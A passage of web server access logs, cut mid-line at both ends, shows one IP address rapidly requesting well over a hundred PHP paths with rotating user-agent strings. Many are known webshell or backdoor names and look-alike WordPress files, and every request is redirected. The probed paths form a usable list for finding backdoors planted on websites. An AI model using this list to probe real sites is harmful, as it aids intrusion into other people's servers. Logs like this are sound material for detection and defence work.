HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 45.137.126.77 - - [21/Mar/2026:12:45:48 +0300] "GET /wp-admin/images/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 45.137.126.77 - - [21/Mar/2026:12:45:48 +0300] "GET /wp-admin/css/colors/gold.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:45:48 +0300] "GET /wp-includes/Requests/Text/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:45:49 +0300] "GET /wp-content/mu-plugins/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:45:49 +0300] "GET /wp-includes/sitemaps/abcd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:45:49 +0300] "GET /wp-includes/ID3/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:45:49 +0300] "GET /wp-includes/widgets/class-wp-widget-search-interpreter.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:45:49 +0300] "GET /wp-admin/css/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:45:50 +0300] "GET /bitrix/admin/htmleditor2/natural.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:45:50 +0300] "GET /wp-content/plugins/pwnd/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:45:50 +0300] "GET /wp-includes/block-template-utils-other.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 45.137.126.77 - - [21/Mar/2026:12:45:50 +0300] "GET /wp-content/alam.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:45:51 +0300] "GET /css/adminfusm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:45:51 +0300] "GET /wp-includes/sodium_compat/lib/widget-group.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 45.137.126.77 - - [21/Mar/2026:12:45:51 +0300] "GET /wp-content/raw.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 45.137.126.77 - - [21/Mar/2026:12:45:51 +0300] "GET /wp-includes/js/jcrop/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.137.126.77 - - [21/Mar/2026:12:45:51 +0300] "GET /wp-admin/includes/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:45:52 +0300] "GET /wp-includes/customize/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 45.137.126.77 - - [21/Mar/2026:12:45:52 +0300] "GET /js/class_api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:45:52 +0300] "GET /wp-content/uploads/2021/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.77 - - [21/Mar/2026:12:45:52 +0300] "GET /wp-includes/plugin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:45:52 +0300] "GET /wp-includes/class-wp-scripts-query.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:45:53 +0300] "GET /wp-admin/js/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:45:53 +0300] "GET /wp-includes/ID3/module.audio-license.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:45:53 +0300] "GET /uploads/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:45:53 +0300] "GET /assets/js/doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.137.126.77 - - [21/Mar/2026:12:45:54 +0300] "GET /wp-includes/class-wp-error-module.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:45:54 +0300] "GET /css/adminfus.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:45:54 +0300] "GET /wp-includes/css/litespeed.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 45.137.126.77 - - [21/Mar/2026:12:45:54 +0300] "GET /images/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:45:54 +0300] "GET /wp-admin/setup-config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 45.137.126.77 - - [21/Mar/2026:12:45:55 +0300] "GET /wp-includes/css/dist/alam.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 45.137.126.77 - - [21/Mar/2026:12:45:55 +0300] "GET /wp-includes/block-bindings/imagess.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:45:55 +0300] "GET /wp-includes/default-filters-edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 45.137.126.77 - - [21/Mar/2026:12:45:55 +0300] "GET /css/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.137.126.77 - - [21/Mar/2026:12:45:55 +0300] "GET /autoload_classmap/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.137.126.77 - - [21/Mar/2026:12:45:56 +0300] "GET /wp-includes/Requests/Auth/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:45:56 +0300] "GET /wp-admin/js/widgets/bless2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 45.137.126.77 - - [21/Mar/2026:12:45:56 +0300] "GET /wp-admin/network/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:45:56 +0300] "GET /wp-admin/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:45:56 +0300] "GET /wp-includes/Text/Diff/Engine/theme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:45:57 +0300] "GET /.well-known/acme-challenge/mah.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:45:57 +0300] "GET /wp-includes/ID3/shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:45:57 +0300] "GET /wp-includes/customize/class-wp-customize-selective-refresh-library.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:45:57 +0300] "GET /wp-admin/js/cc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:45:58 +0300] "GET /wp-includes/Requests/library/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:45:58 +0300] "GET /wp-includes/interactivity-api/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:45:58 +0300] "GET /css/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:45:58 +0300] "GET /wp-content/plugins/classic-editor/alam.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.77 - - [21/Mar/2026:12:45:58 +0300] "GET /wordpress/wp-admin/includes/wordpress/wp-admin/includes/admin-filters.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 45.137.126.77 - - [21/Mar/2026:12:45:59 +0300] "GET /wp-includes/wp-2019.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:45:59 +0300] "GET /wp-includes/SimplePie/info.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 45.137.126.77 - - [21/Mar/2026:12:45:59 +0300] "GET /wp-includes/assets/script-loader-react-refresh-runtime-num.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:45:59 +0300] "GET /wp-includes/assets/script-loader-react-refresh-entry.min-object.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:45:59 +0300] "GET /wp-includes/aw.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:46:00 +0300] "GET /uploads/c99shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:46:00 +0300] "GET /uploads/lala.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:46:00 +0300] "GET /wp-includes/IXR/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:46:00 +0300] "GET /wp-includes/css/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:46:00 +0300] "GET /wp-includes/css/dist/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.137.126.77 - - [21/Mar/2026:12:46:01 +0300] "GET /wp-includes/style-engine/dedi1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:46:01 +0300] "GET /wp-admin/css/adminfusm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.137.126.77 - - [21/Mar/2026:12:46:01 +0300] "GET /wp-content/click.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:46:01 +0300] "GET /wp-includes/template-less.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:46:01 +0300] "GET /wp-includes/pomo/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:46:02 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/abcd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:46:02 +0300] "GET /wp-content/themes/twentytwentytwo/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 45.137.126.77 - - [21/Mar/2026:12:46:02 +0300] "GET /wp-admin/css/elementskit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:46:02 +0300] "GET /js/1.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:46:03 +0300] "GET /wp-content/themes/twentytwentyfour/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 45.137.126.77 - - [21/Mar/2026:12:46:03 +0300] "GET /wp-includes/assets/min.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:46:03 +0300] "GET /wp-includes/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.77 - - [21/Mar/2026:12:46:03 +0300] "GET /backup/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:46:03 +0300] "GET /wp-content/uploads/uploads.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.77 - - [21/Mar/2026:12:46:04 +0300] "GET /wp-includes/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:46:04 +0300] "GET /wp-content/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:46:04 +0300] "GET /wp-includes/block-patterns/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 45.137.126.77 - - [21/Mar/2026:12:46:04 +0300] "GET /wp-includes/load.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:46:04 +0300] "GET /wp-includes/ID3/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 45.137.126.77 - - [21/Mar/2026:12:46:05 +0300] "GET /wp-includes/class-wp-theme-float.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 45.137.126.77 - - [21/Mar/2026:12:46:05 +0300] "GET /images/c99.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.77 - - [21/Mar/2026:12:46:05 +0300] "GET /wp-content/plugins/core-plugin/waf_defender.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:46:05 +0300] "GET /wp-content/themes/twentytwentytwo/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 45.137.126.77 - - [21/Mar/2026:12:46:05 +0300] "GET /wp-includes/widgets/wp-style.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:46:06 +0300] "GET /wp-includes/widgets/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:46:06 +0300] "GET /wp-content/uploads/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:46:06 +0300] "GET /wp-includes/block-bindings/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:46:06 +0300] "GET /wp-includes/PHPMailer/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 45.137.126.77 - - [21/Mar/2026:12:46:07 +0300] "GET /wp-includes/theme-compat/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.77 - - [21/Mar/2026:12:46:07 +0300] "GET /css/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:46:07 +0300] "GET /wp-admin/user/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:46:07 +0300] "GET /wp-includes/assets/system.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:46:07 +0300] "GET /wp-includes/l10n/class-wp-translations-library.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:46:08 +0300] "GET /wp-includes/block-bindings/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:46:08 +0300] "GET /wp-includes/customize/class-wp-customize-upload-control-cookie.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.137.126.77 - - [21/Mar/2026:12:46:08 +0300] "GET /wp-includes/ID3/simi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:46:08 +0300] "GET /wp-includes/class-wp-taxonomy-sample.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 45.137.126.77 - - [21/Mar/2026:12:46:08 +0300] "GET /wp-includes/css/dist/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:46:09 +0300] "GET /wp-includes/js/dist/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.77 - - [21/Mar/2026:12:46:09 +0300] "GET /wp-includes/assets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:46:09 +0300] "GET /wp-includes/sitemaps/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:46:09 +0300] "GET /wp-content/plugins/erinyani/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.137.126.77 - - [21/Mar/2026:12:46:10 +0300] "GET /wp-includes/l10n/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:46:10 +0300] "GET /wp-content/uploads/2023/11/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 45.137.126.77 - - [21/Mar/2026:12:46:10 +0300] "GET /wp-includes/sodium_compat/lib/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.77 - - [21/Mar/2026:12:46:10 +0300] "GET /wp-includes/blocks/file/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:46:10 +0300] "GET /wp-includes/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:46:11 +0300] "GET /wp-includes/block-bindings/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 45.137.126.77 - - [21/Mar/2026:12:46:11 +0300] "GET /wp-content/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:46:11 +0300] 